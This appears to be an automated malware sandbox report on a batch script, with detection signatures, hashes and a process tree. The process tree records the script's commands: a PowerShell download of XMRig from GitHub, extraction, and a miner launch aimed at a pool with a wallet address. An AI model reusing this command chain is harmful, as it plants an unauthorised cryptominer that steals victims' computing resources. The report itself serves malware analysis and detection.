Analysis

  • max time kernel
    891s
  • max time network
    907s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250314-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    28/03/2025, 10:11

General

  • Target

    script.bat

  • Size

    793B

  • MD5

    f29c7cf031f619739012fdbfa95bba54

  • SHA1

    ccddd138b2e91a4da65da97ec11f2dc661782e60

  • SHA256

    5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717

  • SHA512

    1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4628
    • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe
      xmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device3
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5028

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    ed30ca9187bf5593affb3dc9276309a6

    SHA1

    c63757897a6c43a44102b221fe8dc36355e99359

    SHA256

    81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

    SHA512

    1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    74a936256ffc50c370905681374c4df7

    SHA1

    ee6cd8b0314f122fcceeed47a8fbb5cd6a683ade

    SHA256

    a2d94d3b8552ac77cc069e1bb88e1e53fc16c615e13f7efa3c5a98a50a6ae1a6

    SHA512

    b409933458c60c28d93f94ad62d1ecb1650837717c6d1e31dceed2aab079a41cf28cd6d6143c7b17b54e25d48d5cd98d0b522b1f5fabe3c47b53cf90a48a1f67

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dptz5naq.tab.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Downloads\xmrig.zip

    Filesize

    3.6MB

    MD5

    5e48d84b33cc0ca0cdb29b03a875fd3a

    SHA1

    597660c787259fad45f0e69cbb64fb781333c598

    SHA256

    53b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f

    SHA512

    a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8

  • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe

    Filesize

    9.1MB

    MD5

    cb166d49ce846727ed70134b589b0142

    SHA1

    8f5e1c7792e9580f2b10d7bef6dc7e63ea044688

    SHA256

    49da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb

    SHA512

    a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed

  • memory/4628-57-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-19-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-30-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-31-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-32-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-34-0x000001B671400000-0x000001B67140A000-memory.dmp

    Filesize

    40KB

  • memory/4628-33-0x000001B671410000-0x000001B671422000-memory.dmp

    Filesize

    72KB

  • memory/5028-86-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-93-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-60-0x000001D076A50000-0x000001D076A70000-memory.dmp

    Filesize

    128KB

  • memory/5028-61-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-62-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-63-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-64-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-65-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-66-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-67-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-68-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-69-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-70-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-71-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-72-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-73-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-74-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-75-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-76-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-77-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-78-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-79-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-80-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-81-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-82-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-83-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-84-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-85-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-123-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-87-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-88-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-89-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-90-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-91-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-92-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-122-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-94-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-95-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-96-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-97-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-98-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-99-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-100-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-101-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-102-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-103-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-104-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-105-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-106-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-107-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-108-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-109-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-110-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-111-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-112-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-113-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-114-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-115-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-116-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-117-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-118-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-119-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-120-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5028-121-0x00007FF67D9D0000-0x00007FF67E604000-memory.dmp

    Filesize

    12.2MB

  • memory/5936-1-0x000001A974A30000-0x000001A974A52000-memory.dmp

    Filesize

    136KB

  • memory/5936-0-0x00007FFE05E13000-0x00007FFE05E15000-memory.dmp

    Filesize

    8KB

  • memory/5936-11-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/5936-12-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/5936-13-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB

  • memory/5936-17-0x00007FFE05E10000-0x00007FFE068D2000-memory.dmp

    Filesize

    10.8MB